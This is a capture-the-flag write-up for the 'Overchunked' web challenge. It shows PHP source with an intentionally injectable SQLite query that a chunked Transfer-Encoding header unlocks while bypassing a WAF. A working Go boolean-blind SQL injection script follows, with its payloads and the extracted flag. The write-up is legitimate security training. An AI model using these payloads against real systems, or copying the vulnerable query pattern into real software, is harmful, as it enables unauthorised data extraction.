0xBOverchunked
5 minutes to read
We are given this webpage:
This webpage allows us to search some games by ID:
Source code analysis
We are also given the PHP source code of the server. According to db/init.sql
, we must read the contents of ID 6 to get the flag, but we can’t do that directly:
CREATE TABLE posts (
id INTEGER PRIMARY KEY,
gamename TEXT NOT NULL,
gamedesc TEXT NOT NULL,
image BLOB NOT NULL
);
INSERT INTO posts (gamename, gamedesc, image)
VALUES
('Pikachu', 'A small, yellow, mouse-like creature with a lightning bolt-shaped tail. Pikachu is one of the most popular and recognizable characters from the Pokemon franchise.', '1.png'),
('Pac-Man', 'Pac-Man is a classic arcade game where you control a yellow character and navigate through a maze, eating dots and avoiding ghosts.', '2.png'),
('Sonic', 'He is a blue anthropomorphic hedgehog who is known for his incredible speed and his ability to run faster than the speed of sound.', '3.png'),
('Super Mario', 'Its me, Mario, an Italian plumber who must save Princess Toadstool from the evil Bowser.', '4.png'),
('Donkey Kong', 'Donkey Kong is known for his incredible strength, agility, and his ability to swing from vines and barrels.', '5.png'),
('Flag', 'HTB{f4k3_fl4_f0r_t35t1ng}', '6.png');
This is the code for the controller:
<?php
require_once '../Database/Cursor.php';
require_once '../WAF/waf.php';
if (isset($_SERVER["HTTP_TRANSFER_ENCODING"]) && $_SERVER["HTTP_TRANSFER_ENCODING"] == "chunked")
{
$search = $_POST['search'];
$result = unsafequery($pdo, $search);
if ($result)
{
echo "<div class='results'>No post id found.</div>";
}
else
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
else
{
if ((isset($_POST["search"])))
{
$search = $_POST["search"];
if (waf_sql_injection($search))
{
$result = safequery($pdo, $search);
if ($result)
{
echo '
<div class="grid-container">
<div class="grid-item">
<img class="post-logo" src="../../assets/images/posts/' . $result["image"] . '" width="100">
</div>
<div class="grid-item">
<p><font color="#F44336">Name</font>: ' . $result["gamename"] . '</p>
<p><font color="#F44336">Description</font>: ' . $result["gamedesc"] . '</p>
</div>
</div>';
}
else
{
echo "<div class='results'>No post id found.</div>";
}
}
else
{
echo "<div class='results'>SQL Injection attempt identified and prevented by WAF!</div>";
}
}
else
{
echo "<div class='results'>Unsupported method!</div>";
http_response_code(400);
}
}
?>
As can be seen, there is a distintion if we use Transfer-Encoding: chunked
. With this setup, we can tell the server to use unsafequery
instead of safequery
, and also to skip waf_sql_injection
:
<?php
require_once 'Connect.php';
function safequery($pdo, $id)
{
if ($id == 6)
{
die("You are not allowed to view this post!");
}
$stmt = $pdo->prepare("SELECT id, gamename, gamedesc, image FROM posts WHERE id = ?");
$stmt->execute([$id]);
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
}
function unsafequery($pdo, $id)
{
try
{
$stmt = $pdo->query("SELECT id, gamename, gamedesc, image FROM posts WHERE id = '$id'");
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
}
catch(Exception $e)
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
?>
As expected, safequery
uses prepared statements, so there is no SQL injection (actually, the WAF is useless). On the other hand, unsafequery
is vulnerable to SQL injection.
Therefore, we must tell the server to use unsafequery
, that is, we need to use Transfer-Encoding: chunked
. However, there is still some thing to consider. Let’s look again at the SearchHandler.php
code:
if (isset($_SERVER["HTTP_TRANSFER_ENCODING"]) && $_SERVER["HTTP_TRANSFER_ENCODING"] == "chunked")
{
$search = $_POST['search'];
$result = unsafequery($pdo, $search);
if ($result)
{
echo "<div class='results'>No post id found.</div>";
}
else
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
Oracle
We can access ID 6, but the result of the query is not shown! Instead, we have a kind of oracle, because we can see if the query was successful (No post id found
) or not (Internal Server Error
):
Notice how Transfer-Encoding: chunked
is made. We need to put the size of the chunk in hexadecimal format, and end with a 0
. We also need to be careful with \r\n
, for more information, take a look at Transfer-Encoding.
Solution
Once we have defined the oracle, we only need to use Boolean-based SQLi to extract the characters of the flag one character at a time. This time, the server uses SQLite, so we can find some payloads in PayloadsAllTheThings.
Implementation
I decided to use Go to implement the Boolean-based SQLi exploit, because we can use threads and go faster.
This is the oracle
function, which simply uses Transfer-Encoding: chunked
and looks at the response status code to determine if the query was successful or not:
func oracle(reqBody string) bool {
guard <- struct{}{}
req, _ := http.NewRequest("POST", baseUrl+"/Controllers/Handlers/SearchHandler.php", bytes.NewBuffer([]byte(reqBody)))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.TransferEncoding = []string{"chunked"}
res, err := (&http.Client{}).Do(req)
if err != nil {
<-guard
return false
}
defer res.Body.Close()
<-guard
return res.StatusCode == 200
}
Next, I defined two functions to help extracting the length of the flag and its characters:
func testLength(length int) bool {
return oracle(fmt.Sprintf("search=6' AND LENGTH(gamedesc) = %d-- -", length))
}
func testFlagCharacter(character byte, index int) bool {
return oracle(fmt.Sprintf("search=6' AND SUBSTR(gamedesc, %d, 1) = '%c", index, character))
}
Finally, we have the main
function, which iterates through numbers and characters until getting the correct values:
func main() {
baseUrl = "http://" + os.Args[1]
chars := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$@_"
length := 1
for !testLength(length) {
length++
}
flag := make([]byte, length)
flag[0] = 'H'
flag[1] = 'T'
flag[2] = 'B'
flag[3] = '{'
flag[length-1] = '}'
for _, r := range chars {
for i := 0; i < length; i++ {
wg.Add(1)
go func(b byte, index int) {
defer wg.Done()
if flag[index] == 0 && testFlagCharacter(b, index+1) {
flag[index] = b
}
}(byte(r), i)
}
}
wg.Wait()
fmt.Println(string(flag))
}
Flag
If we run the script, we will get the flag in a matter of seconds:
$ go run solve.go 83.136.251.211:51066
HTB{tr4nsf3r_3Nc0d1Ng_4t_1ts_f1n3st}
The full script can be found in here: solve.go
.